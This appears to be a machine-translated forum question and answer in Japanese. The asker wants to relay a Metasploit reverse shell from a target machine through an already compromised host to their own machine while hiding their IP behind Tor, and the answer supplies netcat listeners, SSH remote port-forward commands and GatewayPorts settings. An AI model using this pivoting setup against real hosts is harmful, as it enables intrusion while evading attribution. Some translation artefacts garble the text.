まず第一に、私の問題はメータープリターの「Portfwd」オプションに関するものではないと言いたいです: https://www.offensive-security.com/metasploit-unleashed/portfwd/
2台のコンピューターにアクセスできるとしましょう。
-コンピューターAは私のもので、Linuxを実行しています。
-コンピューターBは侵害されたホストであり、Linuxも実行しています。
-コンピューターCは私が妥協したいものです。
私はこの目的のためにmetasploitフレームワークを使用しています。 CからBへの逆TCP接続を設定してから、AからBに接続してメータープリターセッションを取得するにはどうすればよいですか?問題は、BにAのIPアドレスをいつでも知られたくないということです。そのため、接続を開始する必要があるのはAです(プロキシチェーンまたはその他のプログラムを使用して実際のIPを非表示にします)。
最初にnetcatを使用してこの問題を再現しようとしましたが、おそらくそこで何かを誤解しました。
-コンピューターAはポート4444でnetcatサーバーを実行しています:nc -l -p 4444
(Aがmeterpreterサーバーを実行するため)。
-コンピュータCはポート8888でBに接続しますnc 'B' 8888
(Cはペイロードを実行し、侵害されたサーバーに接続するため、実際のIPとのリンクはありません)
-コンピューターBは、Cからのtcp接続を受け入れるためにポート8888にnetcatリスナーをセットアップする必要があります(これについてはよくわかりません)
ここで私の質問は、BがAのIPアドレスを知らなくても、どうすればBとAの間の接続を取得できるかということです。
Sshを使用して、AからBに転送するローカルポートを実行しようとしました。torify ssh -NL 4444:localhost:8888 B
しかし、ポート4444がすでに使用されていることを示しています(Aのncリスナーによって)
私は簡単なスキームを描いたので、もっと明確になるかもしれません。次のスキームが私が欲しいものです:
したがって、ポートB:8888をサーバーからA:4444に転送する必要があります[〜#〜] a [〜#〜]、
A:$ ssh -R 8888:localhost:4444 B
これにより、ポート8888リッスン[〜#〜] b [〜#〜]が開き、接続がポート4444 on [ 〜#〜] a [〜#〜]、サーバーの場所。これは、[〜#〜] b [〜#〜]のssh
サーバーの構成オプションGatewayPorts
がyesに設定されている場合に機能します。 。
GatewayPorts
がclientspecifiedに設定されている場合、次のコマンドのいずれかを使用できます。
A:$ ssh -R :8888:localhost:4444 B
A:$ ssh -R *:8888:localhost:4444 B
GatewayPorts
unsetまたはsetto nosocketをlocalhost
にバインドし、リモート転送が機能しないようにします。